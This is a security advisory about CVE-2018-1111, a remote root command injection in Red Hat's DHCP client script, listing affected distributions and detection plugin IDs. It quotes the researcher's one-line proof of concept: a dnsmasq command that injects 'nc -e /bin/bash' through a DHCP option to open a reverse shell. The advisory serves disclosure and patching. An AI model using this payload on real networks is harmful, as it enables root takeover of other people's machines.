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Advisory: Red Hat DHCP Client Command Injection Trouble

On May 15, Red Hat disclosed a critical vulnerability in a script included in NetworkManager for the Dynamic Host Configuration Protocol (DHCP) client on Red Hat Enterprise Linux (RHEL). The vulnerability was discovered by Google engineer Felix Wilhelm. The proof of concept for the command injection vulnerability CVE-2018-1111 is so simple that it fits into a single tweet. Wilhelm tweeted: “CVE 2018-1111 is a pretty bad DHCP remote root command injection affecting Red Hat derivates: https://access.redhat.com/security/vulnerabilities/3442151 …. Exploit fits in a tweet so you should patch as soon as possible.”

dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

Analysis

DHCP is a protocol used to automatically assign dynamic IP addresses, Domain Name System (DNS) server addresses and other network configuration data to devices. To exploit this vulnerability, an attacker must be on the same network as the vulnerable systems. This is very common when a public Wi-Fi hotspot is offered (e.g., at airports, public libraries or coffee shops).

Red Hat states, “A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.”

Solution

RHEL Server 6 and 7 are vulnerable. We recommend that all Red Hat customers running affected versions of the dhcplient package urgently apply updates. Other affected Linux distributions include:

  • CentOS 6.x and 7.x
  • Fedora 26, 27 and 28
  • Rawhide

Red Hat's update services for SAP solutions on x86 and IBM Power architectures are also affected.

Other operating systems derived from Fedora/RHEL are likely to be affected, including HPE's ClearOS and Oracle Linux as well as the recently discontinued Korora Linux.

Tenable Research has developed and released the following checks and plugins for this vulnerability.

Plugin ID

Description

109814

CentOS 7 : dhcp (CESA-2018:1453)

109815

CentOS 6 : dhcp (CESA-2018:1454)

109820

Fedora 27 : 12:dhcp (2018-36058ed9f2)

109826

Oracle Linux 7 : dhcp (ELSA-2018-1453)

109827

Oracle Linux 6 : dhcp (ELSA-2018-1454)

109830

OracleVM 3.3 / 3.4 : dhcp (OVMSA-2018-0042)

109839

RHEL 7 : dhcp (RHSA-2018:1453)

109840

RHEL 6 : dhcp (RHSA-2018:1454)

109841

RHEL 7 : dhcp (RHSA-2018:1455)

109842

RHEL 7 : dhcp (RHSA-2018:1456)

109843

RHEL 7 : dhcp (RHSA-2018:1457)

109844

RHEL 6 : dhcp (RHSA-2018:1458)

109845

RHEL 6 : dhcp (RHSA-2018:1459)

109846

RHEL 6 : dhcp (RHSA-2018:1460)

109847

RHEL 6 : dhcp (RHSA-2018:1461)

109849

Scientific Linux Security Update : dhcp on SL6.x i386/x86_64

109850

Scientific Linux Security Update : dhcp on SL7.x x86_64

Additional information

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